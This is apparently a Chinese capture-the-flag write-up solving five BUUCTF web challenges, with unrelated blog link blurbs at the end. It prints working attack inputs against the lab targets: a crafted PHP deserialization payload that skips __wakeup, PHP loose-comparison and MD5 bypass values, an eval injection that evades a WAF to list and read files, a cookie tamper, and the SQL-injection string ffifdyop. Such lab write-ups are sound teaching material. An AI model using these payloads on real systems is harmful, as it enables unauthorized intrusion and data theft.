BUUCTF-Web方向16-20wp
[极客大挑战 2019]PHP
由内容提示应该存在源码备份,常见的如下,一个个尝试
后缀:tar tar.gz zip rar
名字:www web website backup back wwwroot temp
访问www.zip,下载下来
解压查看
index.php
flag.php
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
写一个脚本构造
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$A=new Name();
echo serialize($A);
?>
结果如下
O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
- 这里需要绕过__wakeup函数,而__wakeup函数存在一个特性,当成员属性数目大于实际数目时才可绕过wakeup
- 由于序列化的存在空字符,故需要%00来代替,即空字符的url编码
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
拿到flag
[ACTF2020 新生赛]BackupFile
题目提示备份文件
后缀:tar tar.gz zip rar
名字:www web website backup back wwwroot temp
除了以上这些,还有.bak/.swp/.old,都可以试试
这里使用dirsearch扫出来index.php.bak文件,下载下来
使用记事本打开
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) { //检查是否为数字
exit("Just num!");
}
$key = intval($key); //将变量转换为整数,eg:intval("cat12")=0 intval("3.14")=3
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) { //注意这里的==符号
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
由于==的特性,php是一种弱语言,所以在比较的时候,会自动将字符串转换为数字比较,即123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3=123,这里可以查看intval函数的转换机制
?key=123
?key=123e4 //123*e的4次方,但是经过转换是123
得到flag
[RoarCTF 2019]Easy Calc
打开环境,输入1+1试试
查看源码,发现calc.php,并且注释提示有waf
访问看看,代码如下
<?php
error_reporting(0);
if(!isset($_GET['num'])){ //isset:检测变量是否存在
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; //黑名单
foreach ($blacklist as $blackitem) { //blackitem在blacklist中遍历,每次调用的值进入if语句比对
if (preg_match('/' . $blackitem . '/m', $str)) { //检测$str是否包含黑名单里的字符串
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
当我们输入被过滤的字符时,返回结果不是"what are you want to do?",而是如下结果,应该被waf绕过了
测试发现可以解析数字,如果带有字符则会被过滤,尝试绕过waf并查看根目录,在num参数前添加空格绕过是为了将? num解析成?num即正常,绕过字符串无法解析
- var_dump():打印字符串
- scandir():查看指定目录并返回该目录中的文件和子目录的名称
url? num=var_dump(scandir(chr(47))) //chr(47)= / 是ascii码
url?+num=var_dump(scandir(chr(47)))
url?/**/num=var_dump(scandir(chr(47)))
查找到f1agg
此时我们需要构造 /f1agg
chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
file_get_contents():读取文件的内容并将其作为字符串返回
得到flag
[极客大挑战 2019]BuyFlag
打开环境,查看源码
访问该链接
看看源码,得到下面这个信息
~~~post money and password~~~ //利用post方式传入money和password
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) { //password必须是纯数字
echo "password can't be number</br>";
}elseif ($password == 404) { //password为404,因为是==号,所以可用404ad绕过,会解析为404
echo "Password Right!</br>";
}
}
抓包看看
注意cookie这个地方,查看gpt
结合回显,需要我们是学生身份,将user=0改为user=1
此时回显,数字太长了,用科学计数法表示,在php中,1e9实际等于1*10的9次方
[BJDCTF2020]Easy MD5
打开环境,一个输入框,看看源码和网络信息,有个提示:
select * from 'admin' where password=md5($pass,true) //$pass经过md5加密后,如果可用转换回二进制则转换,否则转换回16进制
随意输入看看,有一个传参点password
这里介绍一个万能密码-ffifdyop,经过md5加密后的值再解密为16进制是'or'6É]é!r,ùíb,可用进行sql注入
成功进入
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){ //因为是弱比较,故需要a!=b但是md5值相同的
// wow, glzjin wants a girl friend.
}
利用a=240610708&b=QNKCDZO绕过
看看源码:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){ //强比较
echo $flag;
}
利用数组绕过
BUUCTF-Web方向16-20wp的更多相关文章
- Python Web 方向(一)
Python Web 方向(一) --------Django站点创建 文章地址:http://www.cnblogs.com/likeli/p/5821744.html Python版本:2.7 推 ...
- web方向编程语言最全对比
web方向编程语言最全对比 目前一般公司的后台用的开发语言大概有以下几种:java,python,php,asp.net,c++,node.js,ruby on rails 等. java 优点:性能 ...
- BUUCTF WEB
BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网 ...
- BuuCTF Web Writeup
WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...
- C# ASP .NET WEB方向和WPF方向,我该如何去选择
一个2012年南航毕业学软件的学生,该如何去选择我的职业方向? 2011年11分月份,我被老师介绍在南京珠江路华丽国际大厦工作,开发一个大型国际物流平台,公司的开发人员比较少,设计网站的是高校的老师, ...
- Java开发工程师(Web方向) - 04.Spring框架 - 第2章.IoC容器
第2章.IoC容器 IoC容器概述 abstract: 介绍IoC和bean的用处和使用 IoC容器处于整个Spring框架中比较核心的位置:Core Container: Beans, Core, ...
- Java开发工程师(Web方向) - 02.Servlet技术 - 第3章.Servlet应用
第3章.Servlet应用 转发与重定向 转发:浏览器发送资源请求到ServletA后,ServletA传递请求给ServletB,ServletB生成响应后返回给浏览器. 请求转发:forward: ...
- Java开发工程师(Web方向) - 02.Servlet技术 - 第1章.Servlet
第1章--Servlet Servlet简介 Servlet应用于? 浏览器发出HTTP请求,服务器接收请求后返回响应给浏览器. 接收请求后到返回响应之间: 服务器将请求对象转交给Servlet容器 ...
- 序-WEB方向指南
WEB 这个方向其实是目前从业人员最多的方向,也是学习安全门槛最低的方向,当然也是最容易恰饭的方向. 我从入行到现在也依旧没有脱离它,毕竟在我这个小城市.小圈子里,不干这个好像就要没饭吃了,但是你说它 ...
- Windows Azure Web Site (16) Azure Web Site HTTPS
<Windows Azure Platform 系列文章目录> 我们在使用微软云Azure Web App的时候,会使用微软的二级域名:http://xxx.chinacloudsites ...
随机推荐
- ecognition server注意事项
1.4002端口是节点管理界面,默认密码admin. 2.8184端口是任务管理界面. 3.节点在线状态下,查看提交的影像矢量路径是否正确. 4.看服务器读取各个文件是否有误. 5.用develope ...
- Python 2.7 十六进制字符数组 转 字符串 (字符是Unicode字符)
有一串十六进制数据,是Uncode字符. import struct strhex='003100310031' buf = strhex.decode("hex") value= ...
- Spring完全注解开发
注解的好处:如果管理很多的Bean,要求这些Bean都配置在applocationContext.xml文件中.用了注解之后,就不需要在xml文件中配置了,Spring提供了几个辅助类会自动扫描和装配 ...
- SprinfBoot报警告WARNING: An illegal reflective access operation has occurred
警告如图所示,该警告是因为jdk版本太高(我用的是10.0,据说9.0的也会这样),具体的原理还没有研究,它不影响项目的正常运行,但是看着很糟心有木有~~~~ 解决方案是把项目jdk降低到1.8及以下 ...
- 在openEuler RISC-V上无痛部署Solidity
近几年区块链很火,随着各国政府对加密技术的监管政策不断变化和BTC的暴涨,越来越多人对这项去中心化的技术充满着期待.这次我用openEuler 24.09 RISC-V的远程机器尝试编译了Solidi ...
- 龙哥量化:通达信(KT交易师)分时图主图叠加5分钟K线图
股友要求在通达信分时图主图叠加5分钟K线,但是通达信的分时图取不到最高价,最低价等数据,限制非常多. 然后我在KT交易师上写的公式测试成功了,效果如下. 如果您需要公式源码或者代写公式, 请联系我. ...
- Qt/C++入门基础学习001-绘图基础
这一节介绍 Qt 的绘图基础知识,我们都知道,Qt 里绘图使用的是 QPainter,但是首先需要弄明白:在什么上绘图和在哪里绘图,然后才是怎么绘图,我们就围绕这几个问题来展开. 在什么上绘图 The ...
- Qt音视频开发45-音视频类结构体参数的设计
一.前言 视频监控内核组件重构和完善花了一年多时间,整个组件个人认为设计的最好的部分就是各种结构体参数的设计,而且分门别类,有枚举值,也有窗体相关的结构体参数,解码相关的结构体参数,同时将部分常用的结 ...
- Qt安卓开发经验011-020
安卓中一个界面窗体对应一个Activity,多个界面就有多个Activity,而在Qt安卓程序中,Qt这边只有一个Activity那就是QtActivity(包名全路径 org.qtproject.q ...
- Qt数据库应用3-数据打印到pdf
一.前言 自从数据可以导出到xls,又有客户提出了不同的需求,比如既然可以将数据导出到xls,那是否可以导出到pdf文件呢?因为xls打开以后用户可以修改数据造假之类的,而pdf默认是不可编辑的,除非 ...